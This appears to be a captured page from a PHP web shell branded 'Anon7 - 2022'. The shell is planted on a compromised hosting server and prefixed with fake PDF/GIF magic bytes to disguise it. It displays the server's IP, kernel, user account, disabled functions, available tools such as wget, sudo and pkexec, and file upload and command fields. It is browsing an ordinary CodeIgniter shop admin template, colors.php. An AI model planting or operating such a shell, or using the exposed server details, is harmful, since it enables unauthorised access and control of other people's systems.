%PDF-1.7 GIF89;
ANDA PELER
Server IP : 5.161.254.237  /  Your IP : 216.73.216.30
Web Server : Apache
System : Linux diamond.sialwebvps.com 4.18.0-553.8.1.el8_10.x86_64 #1 SMP Tue Jul 2 07:26:33 EDT 2024 x86_64
User : stellasp ( 1131)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/stellasp/www/application/views/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/stellasp/www/application/views/admin//colors.php
<?php include('header.php');?>
<script type="text/javascript">
function areyousure()
{
	return confirm('<?php echo lang('confirm_delete_product');?>');
}
</script>


<div class="button_set">
        <a href="<?php echo site_url($this->config->item('admin_folder').'/products/form/'.$product_id);?>"><?php echo 'Back';//lang('add_new_product');?></a>
	<a href="<?php echo site_url($this->config->item('admin_folder').'/color/form/0/'.$product_id);?>"><?php echo 'Add New Color';//lang('add_new_product');?></a>
</div>

<?php echo form_open($this->config->item('admin_folder').'/products/bulk_save', array('id'=>'bulk_form'));?>
	<table class="gc_table" cellspacing="0" cellpadding="0">
		<thead>
			<tr>
				
				<th><?php echo lang('name');?></th>
				<th style="width:60px;"><?php echo lang('enabled');?></th>
				<th class="gc_cell_right"></th>
			</tr>
		</thead>
		<tbody>
		<?php echo (count($products) < 1)?'<tr><td style="text-align:center;" colspan="7">'.lang('no_products').'</td></tr>':''?>
	<?php foreach ($products as $product):?>
			<tr class="gc_row">
				
				<td><?php echo form_input(array('name'=>'product['.$product->id.'][name]','value'=>form_decode($product->name), 'class'=>'gc_tf3'));?></td>
				
				<td>
					<?php
					 	$options = array(
			                  '1'	=> lang('enabled'),
			                  '0'	=> lang('disabled')
			                );

						echo form_dropdown('product['.$product->id.'][enabled]', $options, set_value('enabled',$product->enabled));
					?>
				</td>
				<td class="gc_cell_right list_buttons">
					<a href="<?php echo  site_url($this->config->item('admin_folder').'/color/delete/'.$product->id);?>" onclick="return areyousure();"><?php echo lang('delete');?></a>
					<a href="<?php echo  site_url($this->config->item('admin_folder').'/color/form/'.$product->id.'/'.$product_id);?>"><?php echo lang('edit');?></a>
              </td>
			</tr>
	<?php endforeach; ?>
		</tbody>
	</table>
</form>

<?php include('footer.php'); ?>

Anon7 - 2022
SCDN GOK